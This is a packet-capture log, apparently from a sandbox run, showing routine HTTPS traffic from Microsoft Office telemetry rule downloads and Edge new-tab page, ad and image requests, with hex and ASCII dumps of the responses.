2024-11-20 22:13:00 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:00 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:00 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:00 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: f77b0594-001e-0014-3c66-3b5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221300Z-178bfbc474bh5zbqhC1NYCkdug00000000fg00000000085m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:13:00 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.7	49907	18.173.219.40	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:00 UTC	1012	OUT	GET /b2?rn=1732140775644&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3E320C721BF96C1208BE194F1A9E6DEF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1DBf0b8d3a1985a555ca5f01732140778; XID=1DBf0b8d3a1985a555ca5f01732140778
2024-11-20 22:13:00 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 20 Nov 2024 22:13:00 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 19573252c5c774150e1e56391f71cc12.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: 5iojK2rw41MW4Coknu3MBBzGbtniJM7Wb3dCqndMpKNPqAvqTelCsA==

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:00 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:00 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:00 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221300Z-1777c6cb754vxwc9hC1TEBykgw0000000a4000000000rk3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:13:00 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:00 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:00 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:00 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221300Z-178bfbc474btrnf9hC1NYCb80g00000000q000000000y1tb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:13:00 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	49908	23.96.180.189	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:00 UTC	1000	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3E320C721BF96C1208BE194F1A9E6DEF&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=36851c26bbbf46d9f1a2443512c467ac HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3E320C721BF96C1208BE194F1A9E6DEF; _EDGE_S=F=1&SID=24F93A4A6BD86D8F04B02F776AF66C44; _EDGE_V=1
2024-11-20 22:13:00 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2725 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132834-T700343875-C128000000002116569+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002116569+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 22:12:59 GMT Connection: close
2024-11-20 22:13:00 UTC	2725	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 43 61 6e 74 77 65 6c 6c 2c 20 41 6c 61 73 6b 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 44 65 6e 61 6c 69 2b 28 6d 6f 75 6e 74 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Cantwell, Alaska\",\"cta\":\"https:\/\/www.bing.com\/search?q=Denali+(mounta

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:00 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:01 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:01 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221301Z-1777c6cb7549x5qchC1TEBggbg0000000ab0000000003qqu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:13:01 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:01 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:02 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:02 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221302Z-178bfbc474bnwsh4hC1NYC2ubs00000000kg00000000z5nc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:13:02 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.7	49921	104.117.182.41	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:02 UTC	634	OUT	GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:13:02 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msBaE Last-Modified: Sun, 17 Nov 2024 14:12:33 GMT X-Source-Length: 57629 X-Datacenter: eastus X-ActivityId: 6804a10d-74f2-46bf-9e89-440fae368ad3 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 57629 Cache-Control: public, max-age=144052 Expires: Fri, 22 Nov 2024 14:13:54 GMT Date: Wed, 20 Nov 2024 22:13:02 GMT Connection: close
2024-11-20 22:13:02 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 22:13:02 UTC	16384	IN	Data Raw: 27 29 59 4d 47 48 cd 8c f2 8f 29 a8 04 63 94 aa 34 19 2d 59 e5 1d 1a a4 51 2d 18 50 f2 9b 50 eb 80 b1 86 51 65 3a 29 0e 91 ab 66 9c f9 50 f2 9b d0 b2 8b 65 96 50 ca 69 94 74 56 59 0d 1a d0 b2 a0 24 74 3a a1 95 9b 2a 0a 2a 87 40 4d 0c b1 d2 08 81 d1 74 3a 09 6c e8 74 69 43 a0 96 ce 82 8d 68 28 23 2a 1d 33 51 e0 0b 65 43 a3 4a 45 50 4b 65 94 32 9b 50 50 4b 65 94 28 d6 87 40 65 41 46 b4 14 82 5b 2a 1d 1a 50 50 2d 03 2e 82 82 20 65 50 e8 09 15 71 2e 82 8a 26 8a a2 a8 64 44 57 12 b0 18 14 01 e4 14 19 57 20 87 95 70 0c 8b 72 3c 1f 8c f7 0d 5e fb dd 94 34 65 28 c9 4a da b6 94 97 27 5e 67 c2 ff 00 ed ff 00 8a 29 56 79 45 57 e2 4e 6f fe 9c 4b 18 f7 cd 26 bd d0 fd 67 c3 e0 2c 9c 19 f3 7f 03 ee 1d f3 ba 43 51 77 9e f3 a9 a8 9e 5c 91 ff 00 31 e5 db 6f e6 4b 6e 18 23 Data Ascii: ')YMGH)c4-YQ-PPQe:)fPePitVY$t:*@Mt:ltiCh(#3QeCJEPKe2PPKe(@eAF[*PP-. ePq.&dDWW pr<^4e(J'^g)VyEWNoK&g,CQw\1oKn#
2024-11-20 22:13:02 UTC	2996	IN	Data Raw: ed 25 bc b5 f0 98 ed 7a 53 d2 9e f9 c3 5e 3a 91 7d 53 6a 5d a7 26 af c2 15 e3 de 65 1e 32 d2 9b 58 ff 00 f6 e5 23 d3 fd 56 a4 24 94 fb bf 87 8a f9 65 9f 49 f5 3a 94 1f 9a 3a 5f 7b 8d a4 d6 ba be 59 66 97 94 bd c5 b9 85 b9 7c bf f2 9d 48 ab d2 ef 3d db 53 6a ac 74 e7 d5 e2 a5 eb 1c 7e 11 df 1a bc 9d 19 64 a5 ff 00 4c f6 75 1f 4b fa 8e eb a8 f2 be f1 06 f7 c3 51 34 fa d5 57 45 9b 78 31 92 4e 14 f7 5c 64 e9 79 48 b9 c8 f9 39 7c 1f be 57 cd a1 38 e1 b5 4e 3d aa 4e 2c c2 5f 0a ef 58 e5 c7 2e 2e 29 49 cd 75 28 e3 d3 1b 3e c2 5a 3a a9 52 d5 d7 ac 55 49 ad 55 d3 f3 de 3c 8e 5d 4e eb de 24 97 f9 b1 96 0b f1 c2 49 a7 cd 3d 39 41 ae 8c 50 ce 77 5f 27 e5 76 06 7d 81 7c 4f bd f3 b4 19 95 85 81 a8 cc ac 76 06 83 32 b6 17 c4 9a 8d 40 ca c7 98 8d 35 f2 0b 31 b1 e6 e0 29 Data Ascii: %zS^:}Sj]&e2X#V$eI::_{Yf\|H=Sjt~dLuKQ4WEx1N\dyH9\|W8N=N,_X..)Iu(>Z:RUIU<]N$I=9APw_'v}\|Ov2@51)
2024-11-20 22:13:03 UTC	16384	IN	Data Raw: 30 d6 4d ed f0 2b 37 41 cd 9e 1c 58 f3 c7 93 33 5d 1a be ae 9b e2 3b e2 8c 2f 87 98 ad f0 25 35 12 ea 4e c7 d5 da 73 60 5a ae 4c cb a4 36 5d 0b cc bc 7d 15 e6 61 4f 90 2c 0c cc 35 0e 8b e0 83 37 41 95 c7 88 b3 11 a7 4d f4 15 6b d2 f5 9c 79 ba 4d 13 5c 7c 89 50 b6 e8 ce ba 43 3f 57 91 9d 8a f8 31 43 a5 49 f0 2b 33 e0 73 76 06 63 2a eb cd c1 14 9a 7b 91 c9 98 9f 12 b7 12 96 dd fe 44 b9 61 b0 e4 5a a8 5e 32 dc 31 94 b8 7e 6b f1 df 88 77 a8 f7 fd 5d 29 4a 4a 3a 74 a3 17 8c 7f 0e da df 77 b6 cf 95 7a fa 8f 7f 46 ef 51 f6 1f c5 1a 5d de f4 f5 15 ad 69 5d f2 71 e3 c6 f6 1f 09 19 49 3b 47 d1 1e cf 33 f2 69 ce 75 b7 63 ef 1a 91 54 9b e7 b7 69 1f a8 94 9e 2d f5 b3 29 73 66 78 3d b8 1a 72 6b 2d 47 2d e2 f1 27 ce bb 08 49 6e 0c 78 06 54 e6 df 36 2b bd 8c 91 f6 80 f1 Data Ascii: 0M+7AX3];/%5Ns`ZL6]}aO,57AMkyM\\|PC?W1CI+3svc*{DaZ^21~kw])JJ:twzFQ]i]qI;G3iucTi-)sfx=rk-G-'InxT6+
2024-11-20 22:13:03 UTC	6000	IN	Data Raw: 4b a4 d1 38 7f 57 42 ae d3 9b e5 e0 8a f9 96 c6 9f 40 2d be 75 b9 45 74 ed f3 1a 97 27 25 c1 6c 39 f3 3d e9 be b2 d2 bc 63 78 11 ab 6d e2 fd 9e d2 fc 47 e8 2f ae b3 0e 99 27 cf 02 a3 28 6c 4e b8 3d 9d a6 5a 89 9d db f8 f2 e4 bc 87 e2 3a fc 2b d6 65 9b 76 1d 5b 0d 54 56 da 71 ea f6 19 d3 66 ae 77 96 6d af 46 ba da 34 52 7b a4 83 2d f2 64 34 96 ef 6a 0b ac 35 cd 2d fe 63 8b bd fe f3 25 26 b6 7c cb 93 f9 58 fc 58 ef 8d 74 92 96 e3 76 f4 f7 7a ca cb 33 9b c4 8f a4 d7 42 d8 5e 77 58 36 fb 2c 94 d4 4c 4b 6a ad b6 bc d1 6b 8c af b4 c1 6a ca 5b 53 f3 7e f1 a7 66 5a 37 b5 e1 bb 67 3e 22 a5 96 ee b8 2b f6 0b d5 d6 35 24 f7 f6 01 35 71 aa 5d 7b 7b 0d 71 df 5f 5c 99 2b 1d ff 00 7f 60 3b 58 5a fa e2 80 b7 5c 9d f6 19 38 c6 f0 b4 f9 ad 80 e4 d2 c7 67 4e cf 30 bb e4 ca Data Ascii: K8WB@-uEt'%l9=cxmG/'(lN=Z:+ev[TVqfwmF4R{-d4j5-c%&\|XXtvz3B^wX6,LKjkj[S~fZ7g>"+5$5q]{{q_\+`;XZ\8gN0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.7	49922	104.117.182.41	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
